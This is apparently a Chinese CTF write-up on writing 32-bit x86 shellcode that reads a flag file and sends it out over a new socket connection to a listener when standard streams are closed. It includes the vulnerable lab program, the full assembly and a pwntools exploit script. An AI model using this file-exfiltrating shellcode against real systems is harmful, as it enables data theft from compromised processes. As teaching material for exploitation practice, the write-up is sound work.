socket shellcode
<p>[TOC]</p>
<h1>介绍</h1>
<p>遇到过这样一道题,它将stdin、stdout和stderr都关闭了,这样我们就无法回显flag。对于这样的题其实有很多解决方法,比如对比法。</p>
<p>这里采用创建一个新的socket连接来完成flag读取</p>
<p>我们要完成的shellcode为</p>
<pre><code>open("flag", 0, 0)
read(rax, buf, 0x50)
socket(2, 1, 6);
connect(rax, &addr, 0x10);
write(rax, buf, 0x50);</code></pre>
<p>这样就能将flag写入到监听服务器</p>
<p>我们先查看对应的系统调用号</p>
<pre><code># x32
socket 359
connect 362
# x64
socket 41
connect 42</code></pre>
<p>我们编写一个实例来辅助编写shellcode</p>
<pre><code>#include<stdio.h>
#include<unistd.h>
#include<sys/mman.h>
int main() {
char *p = mmap((void *)0x10000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (p == MAP_FAILED) {
perror("mmap");
return 1;
}
read(0, p, 0x1000);
close(0);
close(1);
close(2);
(*(void(*) ())p)();
return 0;
}
// gcc lab.c -o lab -m32</code></pre>
<p>开始编写shellcode</p>
<pre><code># open("flag", 0, 0)
xor ecx, ecx
xor edx, edx
push ecx
push 0x67616c66
push esp
pop ebx
push 5
pop eax
int 0x80
# read(eax, buf, 0x50)
push 0x50
pop edx
push esp
pop ecx
push ecx
pop esi
push eax
pop ebx
push 3
pop eax
int 0x80
# socket(2, 1, 6)
push 2
pop ebx
push 1
pop ecx
push 6
pop edx
push 359
pop eax
int 0x80
# connect(eax, &addr, 0x10)
push eax
pop ebx
push ebx
pop edi
push 0x10200
pop ecx
push 0x10
pop edx
push 362
pop eax
int 0x80
# write(eax, buf, 0x50)
push esi
pop ecx
push edi
pop ebx
push 0x50
pop edx
push 4
pop eax
int 0x80</code></pre>
<p>然后我们在写入shellcode的同时还需要写入sockaddr结构体</p>
<pre><code>\x02\x00 # 小端序,AF_INET
\x27\x0f # 大端序,端口
\x7f\x00\x00\x01 # 大端序,IP
\x00\x00\x00\x00\x00\x00\x00\x00 # 填充</code></pre>
<p>Exploit为</p>
<pre><code>from pwn import*
context(os="linux", arch="i386")
o = process("./lab")
shellcode = '''
xor ecx, ecx
xor edx, edx
push ecx
push 0x67616c66
push esp
pop ebx
push 5
pop eax
int 0x80
push 0x50
pop edx
push esp
pop ecx
push ecx
pop esi
push eax
pop ebx
push 3
pop eax
int 0x80
push 2
pop ebx
push 1
pop ecx
push 6
pop edx
push 359
pop eax
int 0x80
push eax
pop ebx
push ebx
pop edi
push 0x10200
pop ecx
push 0x10
pop edx
push 362
pop eax
int 0x80
push esi
pop ecx
push edi
pop ebx
push 0x50
pop edx
push 4
pop eax
int 0x80
'''
payload = asm(shellcode)
payload = payload.ljust(0x200, 'a')
payload += p16(2) + p16(0x270f, endian="big") + p32(0x7f000001, endian="big") + p64(0)
# pause()
o.sendline(payload)
o.interactive()
</code></pre>
<p><img src="https://pic.imgdb.cn/item/63b02a502bbf0e7994e2cc49.png" alt="" /></p>